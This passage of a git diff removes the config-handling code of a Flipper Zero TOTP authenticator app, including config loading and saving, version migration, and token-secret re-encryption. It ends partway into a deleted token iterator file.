FURI_LOG_D(LOGGING_TAG, "Config file %s is not found. Will create new.", CONFIG_FILE_PATH); - - if(!flipper_format_file_open_new(fff_data_file, CONFIG_FILE_PATH)) { - totp_close_config_file(fff_data_file); - FURI_LOG_E(LOGGING_TAG, "Error creating new file %s", CONFIG_FILE_PATH); - return false; - } - - flipper_format_write_header_cstr( - fff_data_file, CONFIG_FILE_HEADER, CONFIG_FILE_ACTUAL_VERSION); - - uint32_t tmp_uint32 = CRYPTO_LATEST_VERSION; - flipper_format_write_uint32(fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, &tmp_uint32, 1); - - tmp_uint32 = DEFAULT_CRYPTO_KEY_SLOT; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, &tmp_uint32, 1); - - flipper_format_write_comment_cstr( - fff_data_file, - "Config file format specification can be found here: https://t.ly/zwQjE"); - - float tmp_tz = 0; - flipper_format_write_float(fff_data_file, TOTP_CONFIG_KEY_TIMEZONE, &tmp_tz, 1); - - tmp_uint32 = NotificationMethodSound | NotificationMethodVibro; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, &tmp_uint32, 1); - - tmp_uint32 = AutomationMethodBadUsb; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1); - - tmp_uint32 = AutomationKeyboardLayoutQWERTY; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, &tmp_uint32, 1); - - tmp_uint32 = 0; //-V1048 - flipper_format_write_uint32(fff_data_file, TOTP_CONFIG_KEY_FONT, &tmp_uint32, 1); - - if(!flipper_format_rewind(fff_data_file)) { - totp_close_config_file(fff_data_file); - FURI_LOG_E(LOGGING_TAG, "Rewind error"); - return false; - } - } - - *file = fff_data_file; - return true; -} - -char* totp_config_file_backup(const PluginState* plugin_state) { - if(plugin_state->config_file_context == NULL) return NULL; - - totp_close_config_file(plugin_state->config_file_context->config_file); - - char* result = totp_config_file_backup_i(plugin_state->config_file_context->storage); - - totp_open_config_file( - plugin_state->config_file_context->storage, - &plugin_state->config_file_context->config_file); - - totp_token_info_iterator_attach_to_config_file( - plugin_state->config_file_context->token_info_iterator_context, - plugin_state->config_file_context->config_file); - - return result; -} - -bool totp_config_file_update_timezone_offset(const PluginState* plugin_state) { - FlipperFormat* file = plugin_state->config_file_context->config_file; - flipper_format_rewind(file); - bool update_result = false; - - do { - if(!flipper_format_insert_or_update_float( - file, TOTP_CONFIG_KEY_TIMEZONE, &plugin_state->timezone_offset, 1)) { - break; - } - - update_result = true; - } while(false); - - return update_result; -} - -bool totp_config_file_update_notification_method(const PluginState* plugin_state) { - FlipperFormat* file = plugin_state->config_file_context->config_file; - flipper_format_rewind(file); - bool update_result = false; - - do { - uint32_t tmp_uint32 = plugin_state->notification_method; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, &tmp_uint32, 1)) { - break; - } - - update_result = true; - } while(false); - - return update_result; -} - -bool totp_config_file_update_automation_method(const PluginState* plugin_state) { - FlipperFormat* file = plugin_state->config_file_context->config_file; - flipper_format_rewind(file); - bool update_result = false; - - do { - uint32_t tmp_uint32 = plugin_state->automation_method; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = plugin_state->automation_kb_layout; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, &tmp_uint32, 1)) { - break; - } - - update_result = true; - } while(false); - - return update_result; -} - -bool totp_config_file_update_user_settings(const PluginState* plugin_state) { - FlipperFormat* file = plugin_state->config_file_context->config_file; - flipper_format_rewind(file); - bool update_result = false; - do { - if(!flipper_format_insert_or_update_float( - file, TOTP_CONFIG_KEY_TIMEZONE, &plugin_state->timezone_offset, 1)) { - break; - } - uint32_t tmp_uint32 = plugin_state->notification_method; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = plugin_state->automation_method; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = plugin_state->active_font_index; - if(!flipper_format_insert_or_update_uint32(file, TOTP_CONFIG_KEY_FONT, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = plugin_state->automation_kb_layout; - if(!flipper_format_insert_or_update_uint32( - file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, &tmp_uint32, 1)) { - break; - } - - update_result = true; - } while(false); - - return update_result; -} - -bool totp_config_file_load(PluginState* const plugin_state) { - Storage* storage = totp_open_storage(); - FlipperFormat* fff_data_file; - if(!totp_open_config_file(storage, &fff_data_file)) { - totp_close_storage(); - return false; - } - - flipper_format_rewind(fff_data_file); - - bool result = false; - - plugin_state->timezone_offset = 0; - - FuriString* temp_str = furi_string_alloc(); - - do { - uint32_t file_version; - if(!flipper_format_read_header(fff_data_file, temp_str, &file_version)) { - FURI_LOG_E(LOGGING_TAG, "Missing or incorrect header"); - break; - } - - if(file_version < CONFIG_FILE_ACTUAL_VERSION) { - FURI_LOG_I( - LOGGING_TAG, - "Obsolete config file version detected. Current version: %" PRIu32 - "; Actual version: %" PRId16, - file_version, - CONFIG_FILE_ACTUAL_VERSION); - totp_close_config_file(fff_data_file); - - char* backup_path = totp_config_file_backup_i(storage); - - if(backup_path != NULL) { - if(totp_open_config_file(storage, &fff_data_file) != true) { - break; - } - - FlipperFormat* fff_backup_data_file = flipper_format_file_alloc(storage); - if(!flipper_format_file_open_existing(fff_backup_data_file, backup_path)) { - flipper_format_file_close(fff_backup_data_file); - flipper_format_free(fff_backup_data_file); - break; - } - - if(totp_config_migrate_to_latest(fff_data_file, fff_backup_data_file)) { - FURI_LOG_I( - LOGGING_TAG, - "Applied migration to version %" PRId16, - CONFIG_FILE_ACTUAL_VERSION); - file_version = CONFIG_FILE_ACTUAL_VERSION; - } else { - FURI_LOG_W( - LOGGING_TAG, - "An error occurred during migration to version %" PRId16, - CONFIG_FILE_ACTUAL_VERSION); - break; - } - - flipper_format_file_close(fff_backup_data_file); - flipper_format_free(fff_backup_data_file); - flipper_format_rewind(fff_data_file); - free(backup_path); - } else { - FURI_LOG_E( - LOGGING_TAG, - "An error occurred during taking backup of %s before migration", - CONFIG_FILE_PATH); - break; - } - } - - uint32_t tmp_uint32; - - if(!flipper_format_read_uint32( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, &tmp_uint32, 1)) { - FURI_LOG_E(LOGGING_TAG, "Missing required " TOTP_CONFIG_KEY_CRYPTO_VERSION "property"); - break; - } - - plugin_state->crypto_settings.crypto_version = tmp_uint32; - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_uint32( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, &tmp_uint32, 1)) { - FURI_LOG_E( - LOGGING_TAG, "Missing required " TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT "property"); - break; - } - - plugin_state->crypto_settings.crypto_key_slot = tmp_uint32; - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_hex( - fff_data_file, - TOTP_CONFIG_KEY_SALT, - &plugin_state->crypto_settings.salt[0], - CRYPTO_SALT_LENGTH)) { - FURI_LOG_D(LOGGING_TAG, "Missing salt"); - } - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - uint32_t crypto_size; - if(flipper_format_get_value_count( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERIFY, &crypto_size) && - crypto_size > 0) { - plugin_state->crypto_settings.crypto_verify_data = - malloc(sizeof(uint8_t) * crypto_size); - furi_check(plugin_state->crypto_settings.crypto_verify_data != NULL); - plugin_state->crypto_settings.crypto_verify_data_length = crypto_size; - if(!flipper_format_read_hex( - fff_data_file, - TOTP_CONFIG_KEY_CRYPTO_VERIFY, - plugin_state->crypto_settings.crypto_verify_data, - crypto_size)) { - FURI_LOG_D(LOGGING_TAG, "Missing crypto verify token"); - free(plugin_state->crypto_settings.crypto_verify_data); - plugin_state->crypto_settings.crypto_verify_data = NULL; - plugin_state->crypto_settings.crypto_verify_data_length = 0; - } - } else { - plugin_state->crypto_settings.crypto_verify_data = NULL; - plugin_state->crypto_settings.crypto_verify_data_length = 0; - } - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_float( - fff_data_file, TOTP_CONFIG_KEY_TIMEZONE, &plugin_state->timezone_offset, 1)) { - plugin_state->timezone_offset = 0; - FURI_LOG_D(LOGGING_TAG, "Missing timezone offset information, defaulting to 0"); - } - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_bool( - fff_data_file, - TOTP_CONFIG_KEY_PINSET, - &plugin_state->crypto_settings.pin_required, - 1)) { - plugin_state->crypto_settings.pin_required = true; - } - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_uint32( - fff_data_file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, &tmp_uint32, 1)) { - tmp_uint32 = NotificationMethodSound | NotificationMethodVibro; - } - - plugin_state->notification_method = tmp_uint32; - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_uint32( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, &tmp_uint32, 1)) { - tmp_uint32 = AutomationMethodBadUsb; - } - - plugin_state->automation_method = tmp_uint32; - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_uint32( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, &tmp_uint32, 1)) { - tmp_uint32 = AutomationKeyboardLayoutQWERTY; - } - - plugin_state->automation_kb_layout = tmp_uint32; - - if(!flipper_format_rewind(fff_data_file)) { - break; - } - - if(!flipper_format_read_uint32(fff_data_file, TOTP_CONFIG_KEY_FONT, &tmp_uint32, 1)) { - tmp_uint32 = 0; - } - - plugin_state->active_font_index = tmp_uint32; - - plugin_state->config_file_context = malloc(sizeof(ConfigFileContext)); - furi_check(plugin_state->config_file_context != NULL); - plugin_state->config_file_context->storage = storage; - plugin_state->config_file_context->config_file = fff_data_file; - plugin_state->config_file_context->token_info_iterator_context = - totp_token_info_iterator_alloc( - storage, - plugin_state->config_file_context->config_file, - &plugin_state->crypto_settings); - result = true; - } while(false); - - furi_string_free(temp_str); - return result; -} - -bool totp_config_file_update_crypto_signatures(const PluginState* plugin_state) { - FlipperFormat* config_file = plugin_state->config_file_context->config_file; - flipper_format_rewind(config_file); - bool update_result = false; - do { - uint32_t tmp_uint32 = plugin_state->crypto_settings.crypto_version; - if(!flipper_format_insert_or_update_uint32( - config_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, &tmp_uint32, 1)) { - break; - } - - tmp_uint32 = plugin_state->crypto_settings.crypto_key_slot; - if(!flipper_format_insert_or_update_uint32( - config_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, &tmp_uint32, 1)) { - break; - } - - if(!flipper_format_insert_or_update_hex( - config_file, - TOTP_CONFIG_KEY_SALT, - &plugin_state->crypto_settings.salt[0], - CRYPTO_SALT_LENGTH)) { - break; - } - - if(!flipper_format_insert_or_update_hex( - config_file, - TOTP_CONFIG_KEY_CRYPTO_VERIFY, - plugin_state->crypto_settings.crypto_verify_data, - plugin_state->crypto_settings.crypto_verify_data_length)) { - break; - } - - if(!flipper_format_insert_or_update_bool( - config_file, - TOTP_CONFIG_KEY_PINSET, - &plugin_state->crypto_settings.pin_required, - 1)) { - break; - } - - update_result = true; - } while(false); - - return update_result; -} - -void totp_config_file_close(PluginState* const plugin_state) { - if(plugin_state->config_file_context == NULL) return; - totp_token_info_iterator_free(plugin_state->config_file_context->token_info_iterator_context); - totp_close_config_file(plugin_state->config_file_context->config_file); - free(plugin_state->config_file_context); - plugin_state->config_file_context = NULL; - totp_close_storage(); -} - -void totp_config_file_reset(PluginState* const plugin_state) { - totp_config_file_close(plugin_state); - Storage* storage = totp_open_storage(); - storage_simply_remove(storage, CONFIG_FILE_PATH); - totp_close_storage(); -} - -bool totp_config_file_update_encryption( - PluginState* plugin_state, - uint8_t new_crypto_key_slot, - const uint8_t* new_pin, - uint8_t new_pin_length) { - FlipperFormat* config_file = plugin_state->config_file_context->config_file; - Stream* stream = flipper_format_get_raw_stream(config_file); - size_t original_offset = stream_tell(stream); - if(!stream_rewind(stream)) { - return false; - } - - if(!totp_crypto_check_key_slot(new_crypto_key_slot)) { - return false; - } - - CryptoSettings old_crypto_settings = plugin_state->crypto_settings; - - memset(&plugin_state->crypto_settings.iv[0], 0, CRYPTO_IV_LENGTH); - memset(&plugin_state->crypto_settings.salt[0], 0, CRYPTO_SALT_LENGTH); - if(plugin_state->crypto_settings.crypto_verify_data != NULL) { - free(plugin_state->crypto_settings.crypto_verify_data); - plugin_state->crypto_settings.crypto_verify_data = NULL; - } - - plugin_state->crypto_settings.crypto_key_slot = new_crypto_key_slot; - plugin_state->crypto_settings.crypto_version = CRYPTO_LATEST_VERSION; - - CryptoSeedIVResult seed_result = totp_crypto_seed_iv( - &plugin_state->crypto_settings, new_pin_length > 0 ? new_pin : NULL, new_pin_length); - if(seed_result & CryptoSeedIVResultFlagSuccess && - seed_result & CryptoSeedIVResultFlagNewCryptoVerifyData && - !totp_config_file_update_crypto_signatures(plugin_state)) { - return false; - } else if(seed_result == CryptoSeedIVResultFailed) { - return false; - } - - char buffer[sizeof(TOTP_CONFIG_KEY_TOKEN_SECRET) + 1]; - bool result = true; - - while(true) { - if(!stream_seek_to_char(stream, '\n', StreamDirectionForward)) { - break; - } - - size_t buffer_read_size; - if((buffer_read_size = stream_read(stream, (uint8_t*)&buffer[0], sizeof(buffer))) == 0) { - break; - } - - if(!stream_seek(stream, -(int32_t)buffer_read_size, StreamOffsetFromCurrent)) { - result = false; - break; - } - - if(strncmp(buffer, "\n" TOTP_CONFIG_KEY_TOKEN_SECRET ":", sizeof(buffer)) == 0) { - uint32_t secret_bytes_count; - if(!flipper_format_get_value_count( - config_file, TOTP_CONFIG_KEY_TOKEN_SECRET, &secret_bytes_count)) { - secret_bytes_count = 0; - } - - if(secret_bytes_count > 1) { - size_t secret_token_start = stream_tell(stream) + 1; - uint8_t* encrypted_token = malloc(secret_bytes_count); - furi_check(encrypted_token != NULL); - - if(!flipper_format_read_hex( - config_file, - TOTP_CONFIG_KEY_TOKEN_SECRET, - encrypted_token, - secret_bytes_count)) { - result = false; - free(encrypted_token); - break; - } - - size_t plain_token_length; - uint8_t* plain_token = totp_crypto_decrypt( - encrypted_token, secret_bytes_count, &old_crypto_settings, &plain_token_length); - - free(encrypted_token); - size_t encrypted_token_length; - encrypted_token = totp_crypto_encrypt( - plain_token, - plain_token_length, - &plugin_state->crypto_settings, - &encrypted_token_length); - - memset_s(plain_token, plain_token_length, 0, plain_token_length); - free(plain_token); - - if(!stream_seek(stream, secret_token_start, StreamOffsetFromStart)) { - result = false; - free(encrypted_token); - break; - } - - if(!flipper_format_write_hex( - config_file, - TOTP_CONFIG_KEY_TOKEN_SECRET, - encrypted_token, - encrypted_token_length)) { - free(encrypted_token); - result = false; - break; - } - - free(encrypted_token); - } - } - } - - stream_seek(stream, original_offset, StreamOffsetFromStart); - - return result; -} - -bool totp_config_file_ensure_latest_encryption( - PluginState* plugin_state, - const uint8_t* pin, - uint8_t pin_length) { - bool result = true; - if(plugin_state->crypto_settings.crypto_version < CRYPTO_LATEST_VERSION) { - FURI_LOG_I(LOGGING_TAG, "Migration to crypto v%d is needed", CRYPTO_LATEST_VERSION); - char* backup_path = totp_config_file_backup(plugin_state); - if(backup_path != NULL) { - free(backup_path); - uint8_t crypto_key_slot = plugin_state->crypto_settings.crypto_key_slot; - if(!totp_crypto_check_key_slot(crypto_key_slot)) { - crypto_key_slot = DEFAULT_CRYPTO_KEY_SLOT; - } - - result = - totp_config_file_update_encryption(plugin_state, crypto_key_slot, pin, pin_length); - FURI_LOG_I( - LOGGING_TAG, - "Migration to crypto v%d is done. Result: %d", - CRYPTO_LATEST_VERSION, - result); - } else { - result = false; - } - } - - return result; -} - -TokenInfoIteratorContext* totp_config_get_token_iterator_context(const PluginState* plugin_state) { - return plugin_state->config_file_context->token_info_iterator_context; -} \ No newline at end of file diff --git a/applications/external/totp/services/config/config.h b/applications/external/totp/services/config/config.h deleted file mode 100644 index 38bc06ba2..000000000 --- a/applications/external/totp/services/config/config.h +++ /dev/null @@ -1,104 +0,0 @@ -#pragma once - -#include "../../types/plugin_state.h" -#include "../../types/token_info.h" -#include "config_file_context.h" -#include "constants.h" -#include "token_info_iterator.h" - -typedef uint8_t TotpConfigFileOpenResult; -typedef uint8_t TotpConfigFileUpdateResult; - -/** - * @brief Tries to take a config file backup - * @param plugin_state application state - * @return backup path if backup successfully taken; \c NULL otherwise - */ -char* totp_config_file_backup(const PluginState* plugin_state); - -/** - * @brief Loads basic information from an application config file into application state without loading all the tokens - * @param plugin_state application state - * @return Config file open result - */ -bool totp_config_file_load(PluginState* const plugin_state); - -/** - * @brief Updates timezone offset in an application config file - * @param plugin_state application state - * @return Config file update result - */ -bool totp_config_file_update_timezone_offset(const PluginState* plugin_state); - -/** - * @brief Updates notification method in an application config file - * @param plugin_state application state - * @return Config file update result - */ -bool totp_config_file_update_notification_method(const PluginState* plugin_state); - -/** - * @brief Updates automation method in an application config file - * @param plugin_state application state - * @return Config file update result - */ -bool totp_config_file_update_automation_method(const PluginState* plugin_state); - -/** - * @brief Updates application user settings - * @param plugin_state application state - * @return Config file update result - */ -bool totp_config_file_update_user_settings(const PluginState* plugin_state); - -/** - * @brief Updates crypto signatures information - * @param plugin_state application state - * @return Config file update result - */ -bool totp_config_file_update_crypto_signatures(const PluginState* plugin_state); - -/** - * @brief Reset all the settings to default - * @param plugin_state application state - */ -void totp_config_file_reset(PluginState* const plugin_state); - -/** - * @brief Closes config file and releases all the resources - * @param plugin_state application state - */ -void totp_config_file_close(PluginState* const plugin_state); - -/** - * @brief Updates config file encryption by re-encrypting it using new user's PIN and new randomly generated IV - * @param plugin_state application state - * @param new_crypto_key_slot new crypto key slot to be used - * @param new_pin new user's PIN - * @param new_pin_length new user's PIN length - * @return \c true if config file encryption successfully updated; \c false otherwise - */ -bool totp_config_file_update_encryption( - PluginState* plugin_state, - uint8_t new_crypto_key_slot, - const uint8_t* new_pin, - uint8_t new_pin_length); - -/** - * @brief Ensures application config file uses latest encryption and upgrades encryption if needed - * @param plugin_state application state - * @param pin user's PIN - * @param pin_length user's PIN length - * @return \c true if operation succeeded; \c false otherwise - */ -bool totp_config_file_ensure_latest_encryption( - PluginState* plugin_state, - const uint8_t* pin, - uint8_t pin_length); - -/** - * @brief Gets token info iterator context - * @param plugin_state application state - * @return token info iterator context - */ -TokenInfoIteratorContext* totp_config_get_token_iterator_context(const PluginState* plugin_state); \ No newline at end of file diff --git a/applications/external/totp/services/config/config_file_context.h b/applications/external/totp/services/config/config_file_context.h deleted file mode 100644 index 98badbcbb..000000000 --- a/applications/external/totp/services/config/config_file_context.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -typedef struct ConfigFileContext ConfigFileContext; \ No newline at end of file diff --git a/applications/external/totp/services/config/constants.h b/applications/external/totp/services/config/constants.h deleted file mode 100644 index 97c8f0d0a..000000000 --- a/applications/external/totp/services/config/constants.h +++ /dev/null @@ -1,24 +0,0 @@ -#pragma once - -#include - -#define CONFIG_FILE_DIRECTORY_PATH EXT_PATH("apps_data/totp") -#define CONFIG_FILE_HEADER "Flipper TOTP plugin config file" -#define CONFIG_FILE_ACTUAL_VERSION (9) - -#define TOTP_CONFIG_KEY_TIMEZONE "Timezone" -#define TOTP_CONFIG_KEY_TOKEN_NAME "TokenName" -#define TOTP_CONFIG_KEY_TOKEN_SECRET "TokenSecret" -#define TOTP_CONFIG_KEY_TOKEN_ALGO "TokenAlgo" -#define TOTP_CONFIG_KEY_TOKEN_DIGITS "TokenDigits" -#define TOTP_CONFIG_KEY_TOKEN_DURATION "TokenDuration" -#define TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES "TokenAutomationFeatures" -#define TOTP_CONFIG_KEY_CRYPTO_VERIFY "Crypto" -#define TOTP_CONFIG_KEY_SALT "Salt" -#define TOTP_CONFIG_KEY_PINSET "PinIsSet" -#define TOTP_CONFIG_KEY_NOTIFICATION_METHOD "NotificationMethod" -#define TOTP_CONFIG_KEY_AUTOMATION_METHOD "AutomationMethod" -#define TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT "AutomationKbLayout" -#define TOTP_CONFIG_KEY_FONT "Font" -#define TOTP_CONFIG_KEY_CRYPTO_VERSION "CryptoVersion" -#define TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT "CryptoKeySlot" diff --git a/applications/external/totp/services/config/migrations/common_migration.c b/applications/external/totp/services/config/migrations/common_migration.c deleted file mode 100644 index 33a441e72..000000000 --- a/applications/external/totp/services/config/migrations/common_migration.c +++ /dev/null @@ -1,199 +0,0 @@ -#include "common_migration.h" -#include "../constants.h" -#include "../../../types/token_info.h" -#include "../../../types/automation_kb_layout.h" -#include - -#define TOTP_OLD_CONFIG_KEY_BASE_IV "BaseIV" - -bool totp_config_migrate_to_latest( - FlipperFormat* fff_data_file, - FlipperFormat* fff_backup_data_file) { - FuriString* temp_str = furi_string_alloc(); - uint32_t current_version = 0; - bool result = false; - do { - flipper_format_write_header_cstr( - fff_data_file, CONFIG_FILE_HEADER, CONFIG_FILE_ACTUAL_VERSION); - - if(!flipper_format_read_header(fff_backup_data_file, temp_str, ¤t_version)) { - break; - } - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, temp_str); - } else { - uint32_t old_crypto_version = 1; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERSION, &old_crypto_version, 1); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, temp_str); - } else { - uint32_t default_old_key_slot = 2; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_CRYPTO_KEY_SLOT, &default_old_key_slot, 1); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string(fff_backup_data_file, TOTP_CONFIG_KEY_SALT, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_SALT, temp_str); - } else if( - flipper_format_rewind(fff_backup_data_file) && - flipper_format_read_string( - fff_backup_data_file, TOTP_OLD_CONFIG_KEY_BASE_IV, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_SALT, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_CRYPTO_VERIFY, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_CRYPTO_VERIFY, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string(fff_backup_data_file, TOTP_CONFIG_KEY_TIMEZONE, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_TIMEZONE, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string(fff_backup_data_file, TOTP_CONFIG_KEY_PINSET, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_PINSET, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, temp_str)) { - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_NOTIFICATION_METHOD, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, temp_str)) { - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_METHOD, temp_str); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string(fff_backup_data_file, TOTP_CONFIG_KEY_FONT, temp_str)) { - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_FONT, temp_str); - } else { - uint32_t default_font_index = 0; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_FONT, &default_font_index, 1); - } - - flipper_format_rewind(fff_backup_data_file); - - if(flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, temp_str)) { - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, temp_str); - } else { - uint32_t default_automation_kb_layout = AutomationKeyboardLayoutQWERTY; - flipper_format_write_uint32( - fff_data_file, - TOTP_CONFIG_KEY_AUTOMATION_KB_LAYOUT, - &default_automation_kb_layout, - 1); - } - - flipper_format_rewind(fff_backup_data_file); - - while(true) { - if(!flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_NAME, temp_str)) { - break; - } - - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_TOKEN_NAME, temp_str); - - flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_SECRET, temp_str); - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_TOKEN_SECRET, temp_str); - - if(current_version > 1) { - flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_ALGO, temp_str); - - if(current_version < 5) { - uint32_t algo_as_uint32t = TokenHashAlgoDefault; - if(furi_string_cmpi_str(temp_str, TOKEN_HASH_ALGO_SHA256_NAME) == 0) { - algo_as_uint32t = TokenHashAlgoSha256; - } else if(furi_string_cmpi_str(temp_str, TOKEN_HASH_ALGO_SHA512_NAME) == 0) { - algo_as_uint32t = TokenHashAlgoSha512; - } else if(furi_string_cmpi_str(temp_str, TOKEN_HASH_ALGO_STEAM_NAME) == 0) { - algo_as_uint32t = TokenHashAlgoSteam; - } - - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_ALGO, &algo_as_uint32t, 1); - } else { - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_ALGO, temp_str); - } - - flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_DIGITS, temp_str); - flipper_format_write_string(fff_data_file, TOTP_CONFIG_KEY_TOKEN_DIGITS, temp_str); - } else { - const uint32_t default_algo = TokenHashAlgoDefault; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_ALGO, &default_algo, 1); - const uint32_t default_digits = TokenDigitsCountSix; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_DIGITS, &default_digits, 1); - } - - if(current_version > 2) { - flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_DURATION, temp_str); - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_DURATION, temp_str); - } else { - const uint32_t default_duration = TokenDurationDefault; - flipper_format_write_uint32( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_DURATION, &default_duration, 1); - } - - if(current_version > 3) { - flipper_format_read_string( - fff_backup_data_file, TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES, temp_str); - flipper_format_write_string( - fff_data_file, TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES, temp_str); - } else { - const uint32_t default_automation_features = TokenAutomationFeatureNone; - flipper_format_write_uint32( - fff_data_file, - TOTP_CONFIG_KEY_TOKEN_AUTOMATION_FEATURES, - &default_automation_features, - 1); - } - } - - Stream* stream = flipper_format_get_raw_stream(fff_data_file); - size_t current_pos = stream_tell(stream); - size_t total_size = stream_size(stream); - if(current_pos < total_size) { - stream_delete(stream, total_size - current_pos); - } - - result = true; - } while(false); - - furi_string_free(temp_str); - return result; -} \ No newline at end of file diff --git a/applications/external/totp/services/config/migrations/common_migration.h b/applications/external/totp/services/config/migrations/common_migration.h deleted file mode 100644 index 326277f14..000000000 --- a/applications/external/totp/services/config/migrations/common_migration.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include - -/** - * @brief Migrates config file to the latest version - * @param fff_data_file original config file to be migrated - * @param fff_backup_data_file backup copy of original config file - * @return \c true if operation succeeded; \c false otherwise - */ -bool totp_config_migrate_to_latest( - FlipperFormat* fff_data_file, - FlipperFormat* fff_backup_data_file); diff --git a/applications/external/totp/services/config/token_info_iterator.c b/applications/external/totp/services/config/token_info_iterator.c deleted file mode 100644 index 3d47b9616..000000000 --- a/applications/external/totp/services/config/token_info_iterator.c +++ /dev/null @@ -1,552 +0,0 @@ -#include "token_info_iterator.h" - -#include -#include -#include -#include "../../types/common.h" -#include "../../types/crypto_settings.h" - -#define CONFIG_FILE_PART_FILE_PATH CONFIG_FILE_DIRECTORY_PATH "/totp.conf.part" -#define STREAM_COPY_BUFFER_SIZE (128) - -struct TokenInfoIteratorContext { - size_t total_count; - size_t current_index; - size_t last_seek_offset; - size_t last_seek_index; - TokenInfo* current_token; - FlipperFormat* config_file; - CryptoSettings* crypto_settings; - Storage* storage; -}; - -static bool - 